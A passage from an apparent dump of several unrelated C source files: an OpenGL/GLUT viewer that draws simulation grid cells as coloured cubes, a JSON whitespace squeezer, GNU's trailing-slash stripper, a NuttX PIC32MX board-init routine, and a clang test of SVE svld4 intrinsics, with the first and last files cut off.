{0.965135621,0.638867216,0.518069875}, {0.964165599,0.63300395,0.511989279}, {0.963107739,0.627083758,0.505920462}, {0.961962293,0.621107082,0.499864075}, {0.960729521,0.615074355,0.493820764}, {0.959409687,0.608986,0.487791167}, {0.958003065,0.602842431,0.481775914}, {0.956509936,0.596644046,0.475775629}, {0.954930586,0.590391232,0.46979093}, {0.95326531,0.584084361,0.463822426}, {0.951514411,0.57772379,0.457870719}, {0.949678196,0.571309856,0.451936407}, {0.947756983,0.564842879,0.446020077}, {0.945751096,0.558323158,0.440122312}, {0.943660866,0.551750968,0.434243684}, {0.941486631,0.545126562,0.428384763}, {0.939228739,0.538450165,0.422546107}, {0.936887543,0.531721972,0.41672827}, {0.934463404,0.524942147,0.410931798}, {0.931956691,0.518110821,0.40515723}, {0.929367782,0.511228087,0.399405096}, {0.92669706,0.504293997,0.393675922}, {0.923944917,0.49730856,0.387970225}, {0.921111753,0.490271735,0.382288516}, {0.918197974,0.483183431,0.376631297}, {0.915203996,0.476043498,0.370999065}, {0.912130241,0.468851724,0.36539231}, {0.908977139,0.461607831,0.359811513}, {0.905745128,0.454311462,0.354257151}, {0.902434654,0.446962183,0.348729691}, {0.89904617,0.439559467,0.343229596}, {0.895580136,0.43210269,0.33775732}, {0.892037022,0.424591118,0.332313313}, {0.888417303,0.417023898,0.326898016}, {0.884721464,0.409400045,0.321511863}, {0.880949996,0.401718425,0.316155284}, {0.877103399,0.393977745,0.310828702}, {0.873182178,0.386176527,0.305532531}, {0.869186849,0.378313092,0.300267182}, {0.865117934,0.370385535,0.295033059}, {0.860975962,0.362391695,0.289830559}, {0.85676147,0.354329127,0.284660075}, {0.852475004,0.346195061,0.279521991}, {0.848117114,0.337986361,0.27441669}, {0.843688361,0.329699471,0.269344545}, {0.839189312,0.32133036,0.264305927}, {0.834620542,0.312874446,0.259301199}, {0.829982631,0.304326513,0.254330723}, {0.82527617,0.295680611,0.249394851}, {0.820501754,0.286929926,0.244493934}, {0.815659988,0.278066636,0.239628318}, {0.810751482,0.269081721,0.234798343}, {0.805776855,0.259964733,0.230004348}, {0.800736732,0.250703507,0.225246666}, {0.795631745,0.24128379,0.220525627}, {0.790462533,0.231688768,0.215841558}, {0.785229744,0.221898442,0.211194782}, {0.779934029,0.211888813,0.20658562}, {0.774576051,0.201630762,0.202014392}, {0.769156474,0.191088518,0.197481414}, {0.763675975,0.180217488,0.192987001}, {0.758135232,0.168961101,0.188531467}, {0.752534934,0.157246067,0.184115123}, {0.746875773,0.144974956,0.179738284}, {0.741158452,0.132014017,0.175401259}, {0.735383675,0.1181719,0.171104363}, {0.729552157,0.103159409,0.166847907}, {0.723664618,0.086504694,0.162632207}, {0.717721782,0.067344036,0.158457578}, {0.711724383,0.043755173,0.154324339}, {0.705673158,0.01555616,0.150232812}}; GLdouble * get_color(double value) { // #define NUM_COLORS 4 // static float color[NUM_COLORS][3] = { {0,0,1}, {0,1,0}, {1,1,0}, {1,0,0} }; int idx1; // |-- Our desired color will be between these two indexes in "color". int idx2; // | double fractBetween = 0; // Fraction between "idx1" and "idx2" where our value is. if(value <= 0) { idx1 = idx2 = 0; } // accounts for an input <=0 else if(value >= 1) { idx1 = idx2 = NUM_COLORS-1; } // accounts for an input >=0 else { value = value * (NUM_COLORS-1); // Will multiply value by 3. idx1 = (int)floor(value); // Our desired color will be after this index. idx2 = idx1+1; // ... and before this index (inclusive). fractBetween = value - (double)idx1; // Distance between the two indexes (0-1). } double red = (color[idx2][0] - color[idx1][0])*fractBetween + color[idx1][0]; double green = (color[idx2][1] - color[idx1][1])*fractBetween + color[idx1][1]; double blue = (color[idx2][2] - color[idx1][2])*fractBetween + color[idx1][2]; GLdouble *result = (GLdouble *) malloc(sizeof(GLdouble) * 4); result[0] = red; result[1] = green; result[2] = blue; result[3] = 1.0; return result; } static void draw_cube(double x, double y, double z, double face_size, double v) { glPushMatrix(); glTranslated(x, y, z); glBegin(GL_QUADS); GLdouble *color; v = (v - INITIAL_V)/(40.0-INITIAL_V); color = get_color(v); glColor4dv(color); free(color); glNormal3d(0.0f, 0.0f, -1.0f); glVertex3d(face_size, -face_size, -face_size); glVertex3d(-face_size, -face_size, -face_size); glVertex3d(-face_size, face_size, -face_size); glVertex3d(face_size, face_size, -face_size); glNormal3d(0.0f, 0.0f, 1.0f); glVertex3d(-face_size, -face_size, face_size); glVertex3d(face_size, -face_size, face_size); glVertex3d(face_size, face_size, face_size); glVertex3d(-face_size, face_size, face_size); glNormal3d(1.0f, 0.0f, 0.0f); glVertex3d(face_size, -face_size, face_size); glVertex3d(face_size, -face_size, -face_size); glVertex3d(face_size, face_size, -face_size); glVertex3d(face_size, face_size, face_size); glNormal3d(-1.0f, 0.0f, 0.0f); glVertex3d(-face_size, -face_size, -face_size); glVertex3d(-face_size, -face_size, face_size); glVertex3d(-face_size, face_size, face_size); glVertex3d(-face_size, face_size, -face_size); glNormal3d(0.0f, -1.0f, 0.0f); glVertex3d(-face_size, -face_size, -face_size); glVertex3d(face_size, -face_size, -face_size); glVertex3d(face_size, -face_size, face_size); glVertex3d(-face_size, -face_size, face_size); glNormal3d(0.0f, 1.0f, 0.0f); glVertex3d(face_size, face_size, -face_size); glVertex3d(-face_size, face_size, -face_size); glVertex3d(-face_size, face_size, face_size); glVertex3d(face_size, face_size, face_size); glEnd(); glPopMatrix(); } // observer float eyeX; float eyeY; float eyeZ; // object center float centerX; float centerY; float centerZ; // vector target float xTarget; float yTarget; float zTarget; // Variables used to navigate through the world. float step; float upDownAngle; float leftRigthAngle; bool look_around; bool walk; float window_h, window_w; //Variables used by perspective projection. float visionAngle; float aspect; float Near; float Far; //Variables which are used to rotate drawings and to make demostration. float xAngle; float yAngle; float zAngle; float mousePreviousX; float mousePreviousY; int mouseButton; static void init_variables() { // Sets the vision angle of the camera. visionAngle = 45; // Sets the initial observer's coordinates. It corresponds to position the // the camera initialy. eyeX = 3; eyeY = 0.5; eyeZ = 0.5; // Sets the initial coordinates of the target point. centerX = 0.5; centerY = 0.5; centerZ = 0.5; // Sets the camera to not move. walk = false; look_around = false; Near = 0.1; Far = 1000; // Sets all drawing rotation angles. xAngle = 90; yAngle = 90; zAngle = 0; // Sets the step walked by the obsever and the rotation angle of the camera. step = 0.04; leftRigthAngle = -90; upDownAngle = 0; glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); } static void moving_mouse( int x, int y ) { const float sensibility = 0.333; if( mouseButton == GLUT_LEFT_BUTTON ) { zAngle += (x - mousePreviousX) * sensibility; yAngle += (y - mousePreviousY) * sensibility; } mousePreviousX = x; mousePreviousY = y; glutPostRedisplay(); } void keyboard( unsigned char key, int x, int y ) { switch(key) { // Amplification case '=': case '+': { visionAngle -= 2; if( visionAngle < 0.01 ) visionAngle = 0.01; // minimum vision angle. break; } // shrink case '-': case '_': { visionAngle += 2; if( visionAngle > 130 ) visionAngle = 130; // max vision angle. break; } case 'a': case 'A': { zAngle += 5; break; } case 'q': case 'Q': { zAngle -= 5; break; } case 'd': case 'D': { yAngle += 5; break; } case 'e': case 'E': { yAngle -= 5; break; } case 'f': case 'F': { glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); break; } case 'l': case 'L': { glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); break; } case 'p': case 'P': { glPolygonMode(GL_FRONT_AND_BACK, GL_POINT); break; } case 'r': case 'R': { init_variables(); break; } default: { break; } } glutPostRedisplay(); } void initialize_lighting( void ) { // Ambient light. float light_ambient[4] = { 0.2, 0.2, 0.2, 1.0 }; float light_diffuse[4] = { 0.7, 0.7, 0.7, 1.0 }; float light_specular[4] = { 1.0, 1.0, 1.0, 1.0 }; float light_position[4] = { 10.0, 50.0, 40.0, 1.0 }; // Shininess float specularity[4] = { 0.8, 0.8, 0.8, 1.0 }; int shininess = 60; // Sets background color to white. glClearColor ( 1.0, 1.0, 1.0, 0); glShadeModel( GL_SMOOTH ); // Enables lighting. glEnable( GL_LIGHTING ); // Enables the light ambient. glLightModelfv( GL_LIGHT_MODEL_AMBIENT, light_ambient ); // Sets the light0 parameters. glLightfv( GL_LIGHT0, GL_AMBIENT, light_ambient ); glLightfv( GL_LIGHT0, GL_DIFFUSE, light_diffuse ); glLightfv( GL_LIGHT0, GL_SPECULAR, light_specular ); glLightfv( GL_LIGHT0, GL_POSITION, light_position ); // Enables the definition of the material color from the current color. glEnable( GL_COLOR_MATERIAL ); // Define how a material reflexes light. glMaterialfv( GL_FRONT_AND_BACK, GL_SPECULAR, specularity ); glMateriali( GL_FRONT_AND_BACK, GL_SHININESS, shininess ); // Turns on the light0. glEnable( GL_LIGHT0 ); // Enables the depth-buffering. glEnable( GL_DEPTH_TEST ); } static void vision( void ) { glMatrixMode( GL_PROJECTION ); glLoadIdentity(); int w = glutGet( GLUT_WINDOW_WIDTH ); int h = glutGet( GLUT_WINDOW_HEIGHT ); aspect = w/h; gluPerspective( visionAngle, aspect, Near, Far ); // glMatrixMode( GL_MODELVIEW ); glLoadIdentity(); gluLookAt( eyeX, eyeY, eyeZ, centerX, centerY, centerZ, 0, 0, 1 ); //glTranslatef( 0.5, 0.5, 0.5 ); glRotatef( xAngle, 1, 0, 0 ); glRotatef( yAngle, 0, 1, 0 ); glRotatef( zAngle, 0, 0, 1 ); //glTranslatef( -0.5f, -0.5f, -0.5f ); //TODO: we need to calculate the scale based on the grid size glScaled(2, 2, 2); } static void reshape( GLsizei w, GLsizei h ) { // Only to avoid division by zero. if ( h == 0 ) h = 1; // Specifies the viewport size. glViewport(0, 0, w, h); // Corrects the aspect of the window. aspect = (GLfloat)w / (GLfloat)h; vision(); } static void navigate( void ) { // Vector that points towards the place where the observer looks at. xTarget = centerX - eyeX; yTarget = centerY - eyeY; zTarget = centerZ - eyeZ; // Size of the target vector. float targetSize = sqrtf( xTarget*xTarget + yTarget*yTarget + zTarget*zTarget ); // Walking through the world. if (walk) { // Unitary target vector. float xUnitaryTarget = xTarget / targetSize; float yUnitaryTarget = yTarget / targetSize; float zUnitaryTarget = zTarget / targetSize; // Updates the position of the target. centerX = centerX + ( step * xUnitaryTarget ); centerY = centerY + ( step * yUnitaryTarget ); centerZ = centerZ + ( step * zUnitaryTarget ); // Updates the observer's position. eyeX = eyeX + ( step * xUnitaryTarget ); eyeY = eyeY + ( step * yUnitaryTarget ); eyeZ = eyeZ + ( step * zUnitaryTarget ); } // Looking around through the world. if( look_around ) { // Rotates the vector target at origin of the coordinates system. xTarget = targetSize * cosf(rad * upDownAngle) * sinf(rad * leftRigthAngle); yTarget = targetSize * cosf(rad * upDownAngle) * cosf(rad * leftRigthAngle); zTarget = targetSize * sinf(rad * upDownAngle); // Translates the vector target from the origin of the system of coordinates // to its previous position. centerX = xTarget + eyeX; centerY = yTarget + eyeY; centerZ = zTarget + eyeZ; } } static void special_keys( int key, int x, int y ) { // Goes ahead in the direction pointed by the camera. if( key == GLUT_KEY_UP ) { look_around = true; upDownAngle -= 1; navigate(); look_around = false; } // Comes back from the direction pointed by the camera. if( key == GLUT_KEY_DOWN ) { look_around = true; upDownAngle += 1; navigate(); look_around = false; } // Turns the camera to its right side. if( key == GLUT_KEY_RIGHT ) { look_around = true; leftRigthAngle -= 1; navigate(); look_around = false; } // Turns the camera to its left side. if( key == GLUT_KEY_LEFT ) { look_around = true; leftRigthAngle += 1; navigate(); look_around = false; } // Turns the camera downward. if( key == GLUT_KEY_PAGE_DOWN ) { walk = true; step = -1 * fabsf( step ); navigate(); walk = false; } // Turns the camera upward. if( key == GLUT_KEY_PAGE_UP ) { walk = true; step = fabsf( step ); navigate(); walk = false; } // Full screen. if( key == GLUT_KEY_F1 ) { glutFullScreen(); } // Default screen if( key == GLUT_KEY_F2 ) { glutReshapeWindow( WIN_WIDTH, WIN_HEIGTH ); glutPositionWindow( 10, 30 ); } glutPostRedisplay(); } static void display() { glClearColor(0, 0, 0, 1); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); vision(); if (grid_to_draw) { double size = grid_to_draw->side_length; uint32_t n_active = grid_to_draw->num_active_cells; struct cell_node **ac = grid_to_draw->active_cells; struct cell_node *grid_cell; if (ac) { //#pragma omp parallel for for (int i = 0; i < n_active; i++) { grid_cell = ac[i]; if (grid_cell->active) { draw_cube(grid_cell->center_x / size, grid_cell->center_y / size, grid_cell->center_z / size, grid_cell->half_face_length / size, grid_cell->v); } } } } glutSwapBuffers(); } static void timer( int parameter ) { if(redraw) display(); glutTimerFunc( 20, timer, 0 ); } void stop_drawing() { } void init_opengl(int argc, char **argv) { glutInit( &argc, argv ); init_variables(); glutInitDisplayMode( GLUT_RGBA | GLUT_DEPTH | GLUT_DOUBLE ); glutInitWindowSize( WIN_WIDTH, WIN_HEIGTH ); glutCreateWindow( "GLUT" ); glutWMCloseFunc(stop_drawing); glEnable (GL_BLEND); glBlendFunc (GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); initialize_lighting(); glutDisplayFunc( display ); glutReshapeFunc( reshape ); glutKeyboardFunc(keyboard); glutSpecialFunc( special_keys ); glutMotionFunc( moving_mouse ); glutTimerFunc( 20, timer, 20 ); glEnable( GL_DEPTH_TEST ); glutSetOption( GLUT_ACTION_ON_WINDOW_CLOSE, GLUT_ACTION_GLUTMAINLOOP_RETURNS ); glutMainLoop(); }
368273.c
#include "privateJsonHeader.h" /* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ * I have discovered that our Json parser will allow us to be * very agressive when compressing the source. It will allow us * to remove ALL whitespace characters form the source ... * * If your json parser will not allow this, simply undefine * the VERY_AGRESSIVE_COMPRESSION directive and re-compile * the library. * * +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */ #define VERY_AGRESSIVE_COMPRESSION int json_squeezer ( char * dd, char * fn ) { char * inFileName; char * outFileName; char * line = NULL; char * jsonSqueezed; char * p; FILE * fIn; FILE * fOut; int fd; unsigned long int n = 0, l = 0; inFileName = ( char * ) calloc( 1024, 1 ); strcpy( inFileName, dd ); strcat( inFileName, fn ); outFileName = ( char * ) calloc( 1024, 1 ); strcpy( outFileName, dd ); strcat( outFileName, fn ); strcat( outFileName, ".sqzd" ); fIn = fopen( inFileName, "r" ); if ( fIn == NULL ) { printf("Unable to open file <%s>!\n",inFileName ); exit(4); } fOut = fopen( outFileName, "w" ); if ( fOut == NULL ) { printf("Unable to open file <%s>!\n",outFileName ); exit(4); } while ( getline( &line, &n, fIn ) != -1 ) { while ( ( p = strchr( line, '\r' ) ) != NULL ) { /* In case the file was created on Windows */ *p = ' '; } #ifdef VERY_AGRESSIVE_COMPRESSION while ( ( p = strchr( line, ' ' ) ) != NULL ) { memmove( p, p+1, strlen( p) ); } #else while ( ( p = strstr( line, " ") ) != NULL ) { memmove( p+1, p+2, strlen(p) ); } #endif p = strchr(line,'\n'); *p = '\0'; fputs( line, fOut ); } fclose( fIn ); fclose( fOut ); free( line ); free( inFileName ); fd = open( outFileName, O_RDONLY ); l = lseek(fd, 0L, SEEK_END ); // How big is the file jsonSqueezed = (char *)calloc(l+1,1); lseek(fd,0L,SEEK_SET); // Back to the beginning read(fd,jsonSqueezed,l); // Read the data into our buffer close(fd); int i = json_valid( jsonSqueezed ); free( jsonSqueezed ); free( outFileName ); return i; }
467578.c
/* stripslash.c -- remove redundant trailing slashes from a file name Copyright (C) 1990, 2001, 2003-2006, 2009-2020 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include "third_party/make/src/config.h" #include "third_party/make/lib/dirname.h" /* Remove trailing slashes from FILE. Return true if a trailing slash was removed. This is useful when using file name completion from a shell that adds a "/" after directory names (such as tcsh and bash), because on symlinks to directories, several system calls have different semantics according to whether a trailing slash is present. */ bool strip_trailing_slashes (char *file) { char *base = last_component (file); char *base_lim; bool had_slash; /* last_component returns "" for file system roots, but we need to turn "///" into "/". */ if (! *base) base = file; base_lim = base + base_len (base); had_slash = (*base_lim != '\0'); *base_lim = '\0'; return had_slash; }
246540.c
/************************************************************************************ * configs/pic32mx7mmb/src/up_boot.c * arch/mips/src/board/up_boot.c * * Copyright (C) 2012 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ************************************************************************************/ /************************************************************************************ * Included Files ************************************************************************************/ #include <nuttx/config.h> #include <debug.h> #include <arch/board/board.h> #include "up_arch.h" #include "up_internal.h" #include "pic32mx-internal.h" #include "pic32mx7mmb_internal.h" /************************************************************************************ * Definitions ************************************************************************************/ /************************************************************************************ * Private Functions ************************************************************************************/ /************************************************************************************ * Public Functions ************************************************************************************/ /************************************************************************************ * Name: pic32mx_boardinitialize * * Description: * All PIC32MX architectures must provide the following entry point. This entry * point is called early in the intitialization -- after all memory has been * configured and mapped but before any devices have been initialized. * ************************************************************************************/ void pic32mx_boardinitialize(void) { /* Configure SPI chip selects if 1) at least one SPI is enabled, and 2) the weak * function pic32mx_spiinitialize() has been brought into the link. */ #if defined(CONFIG_PIC32MX_SPI1) || defined(CONFIG_PIC32MX_SPI2) || \ defined(CONFIG_PIC32MX_SPI3) || defined(CONFIG_PIC32MX_SPI4) if (pic32mx_spiinitialize) { pic32mx_spiinitialize(); } #endif /* Initialize the LCD. The LCD initialization function should be called early in the * boot sequence -- even if the LCD is not enabled. In that case we should * at a minimum at least disable the LCD backlight. */ pic32mx_lcdinitialize(); /* Configure on-board LEDs if LED support has been selected. */ #ifdef CONFIG_ARCH_LEDS pic32mx_ledinit(); #endif }
261206.c
// REQUIRES: aarch64-registered-target || arm-registered-target // RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -fallow-half-arguments-and-returns -S -O1 -Werror -Wall -emit-llvm -o - %s | FileCheck %s // RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -fallow-half-arguments-and-returns -S -O1 -Werror -Wall -emit-llvm -o - -x c++ %s | FileCheck %s // RUN: %clang_cc1 -DSVE_OVERLOADED_FORMS -triple aarch64-none-linux-gnu -target-feature +sve -fallow-half-arguments-and-returns -S -O1 -Werror -Wall -emit-llvm -o - %s | FileCheck %s // RUN: %clang_cc1 -DSVE_OVERLOADED_FORMS -triple aarch64-none-linux-gnu -target-feature +sve -fallow-half-arguments-and-returns -S -O1 -Werror -Wall -emit-llvm -o - -x c++ %s | FileCheck %s #include <arm_sve.h> #ifdef SVE_OVERLOADED_FORMS // A simple used,unused... macro, long enough to represent any SVE builtin. #define SVE_ACLE_FUNC(A1,A2_UNUSED,A3,A4_UNUSED) A1##A3 #else #define SVE_ACLE_FUNC(A1,A2,A3,A4) A1##A2##A3##A4 #endif svint8x4_t test_svld4_s8(svbool_t pg, const int8_t *base) { // CHECK-LABEL: test_svld4_s8 // CHECK: %[[LOAD:.*]] = call <vscale x 64 x i8> @llvm.aarch64.sve.ld4.nxv64i8.nxv16i1(<vscale x 16 x i1> %pg, i8* %base) // CHECK-NEXT: ret <vscale x 64 x i8> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_s8,,)(pg, base); } svint16x4_t test_svld4_s16(svbool_t pg, const int16_t *base) { // CHECK-LABEL: test_svld4_s16 // CHECK: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 32 x i16> @llvm.aarch64.sve.ld4.nxv32i16.nxv8i1(<vscale x 8 x i1> %[[PG]], i16* %base) // CHECK-NEXT: ret <vscale x 32 x i16> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_s16,,)(pg, base); } svint32x4_t test_svld4_s32(svbool_t pg, const int32_t *base) { // CHECK-LABEL: test_svld4_s32 // CHECK: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 16 x i32> @llvm.aarch64.sve.ld4.nxv16i32.nxv4i1(<vscale x 4 x i1> %[[PG]], i32* %base) // CHECK-NEXT: ret <vscale x 16 x i32> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_s32,,)(pg, base); } svint64x4_t test_svld4_s64(svbool_t pg, const int64_t *base) { // CHECK-LABEL: test_svld4_s64 // CHECK: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 8 x i64> @llvm.aarch64.sve.ld4.nxv8i64.nxv2i1(<vscale x 2 x i1> %[[PG]], i64* %base) // CHECK-NEXT: ret <vscale x 8 x i64> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_s64,,)(pg, base); } svuint8x4_t test_svld4_u8(svbool_t pg, const uint8_t *base) { // CHECK-LABEL: test_svld4_u8 // CHECK: %[[LOAD:.*]] = call <vscale x 64 x i8> @llvm.aarch64.sve.ld4.nxv64i8.nxv16i1(<vscale x 16 x i1> %pg, i8* %base) // CHECK-NEXT: ret <vscale x 64 x i8> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_u8,,)(pg, base); } svuint16x4_t test_svld4_u16(svbool_t pg, const uint16_t *base) { // CHECK-LABEL: test_svld4_u16 // CHECK: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 32 x i16> @llvm.aarch64.sve.ld4.nxv32i16.nxv8i1(<vscale x 8 x i1> %[[PG]], i16* %base) // CHECK-NEXT: ret <vscale x 32 x i16> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_u16,,)(pg, base); } svuint32x4_t test_svld4_u32(svbool_t pg, const uint32_t *base) { // CHECK-LABEL: test_svld4_u32 // CHECK: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 16 x i32> @llvm.aarch64.sve.ld4.nxv16i32.nxv4i1(<vscale x 4 x i1> %[[PG]], i32* %base) // CHECK-NEXT: ret <vscale x 16 x i32> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_u32,,)(pg, base); } svuint64x4_t test_svld4_u64(svbool_t pg, const uint64_t *base) { // CHECK-LABEL: test_svld4_u64 // CHECK: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 8 x i64> @llvm.aarch64.sve.ld4.nxv8i64.nxv2i1(<vscale x 2 x i1> %[[PG]], i64* %base) // CHECK-NEXT: ret <vscale x 8 x i64> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_u64,,)(pg, base); } svfloat16x4_t test_svld4_f16(svbool_t pg, const float16_t *base) { // CHECK-LABEL: test_svld4_f16 // CHECK: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 32 x half> @llvm.aarch64.sve.ld4.nxv32f16.nxv8i1(<vscale x 8 x i1> %[[PG]], half* %base) // CHECK-NEXT: ret <vscale x 32 x half> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_f16,,)(pg, base); } svfloat32x4_t test_svld4_f32(svbool_t pg, const float32_t *base) { // CHECK-LABEL: test_svld4_f32 // CHECK: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 16 x float> @llvm.aarch64.sve.ld4.nxv16f32.nxv4i1(<vscale x 4 x i1> %[[PG]], float* %base) // CHECK-NEXT: ret <vscale x 16 x float> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_f32,,)(pg, base); } svfloat64x4_t test_svld4_f64(svbool_t pg, const float64_t *base) { // CHECK-LABEL: test_svld4_f64 // CHECK: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK: %[[LOAD:.*]] = call <vscale x 8 x double> @llvm.aarch64.sve.ld4.nxv8f64.nxv2i1(<vscale x 2 x i1> %[[PG]], double* %base) // CHECK-NEXT: ret <vscale x 8 x double> %[[LOAD]] return SVE_ACLE_FUNC(svld4,_f64,,)(pg, base); } svint8x4_t test_svld4_vnum_s8(svbool_t pg, const int8_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_s8 // CHECK: %[[BASE:.*]] = bitcast i8* %base to <vscale x 16 x i8>* // CHECK: %[[GEP:.*]] = getelementptr <vscale x 16 x i8>, <vscale x 16 x i8>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 64 x i8> @llvm.aarch64.sve.ld4.nxv64i8.nxv16i1(<vscale x 16 x i1> %pg, i8* %[[GEP]]) // CHECK-NEXT: ret <vscale x 64 x i8> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_s8,,)(pg, base, vnum); } svint16x4_t test_svld4_vnum_s16(svbool_t pg, const int16_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_s16 // CHECK-DAG: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i16* %base to <vscale x 8 x i16>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 8 x i16>, <vscale x 8 x i16>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 32 x i16> @llvm.aarch64.sve.ld4.nxv32i16.nxv8i1(<vscale x 8 x i1> %[[PG]], i16* %[[GEP]]) // CHECK-NEXT: ret <vscale x 32 x i16> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_s16,,)(pg, base, vnum); } svint32x4_t test_svld4_vnum_s32(svbool_t pg, const int32_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_s32 // CHECK-DAG: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i32* %base to <vscale x 4 x i32>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 4 x i32>, <vscale x 4 x i32>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 16 x i32> @llvm.aarch64.sve.ld4.nxv16i32.nxv4i1(<vscale x 4 x i1> %[[PG]], i32* %[[GEP]]) // CHECK-NEXT: ret <vscale x 16 x i32> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_s32,,)(pg, base, vnum); } svint64x4_t test_svld4_vnum_s64(svbool_t pg, const int64_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_s64 // CHECK-DAG: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i64* %base to <vscale x 2 x i64>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 2 x i64>, <vscale x 2 x i64>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 8 x i64> @llvm.aarch64.sve.ld4.nxv8i64.nxv2i1(<vscale x 2 x i1> %[[PG]], i64* %[[GEP]]) // CHECK-NEXT: ret <vscale x 8 x i64> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_s64,,)(pg, base, vnum); } svuint8x4_t test_svld4_vnum_u8(svbool_t pg, const uint8_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_u8 // CHECK: %[[BASE:.*]] = bitcast i8* %base to <vscale x 16 x i8>* // CHECK: %[[GEP:.*]] = getelementptr 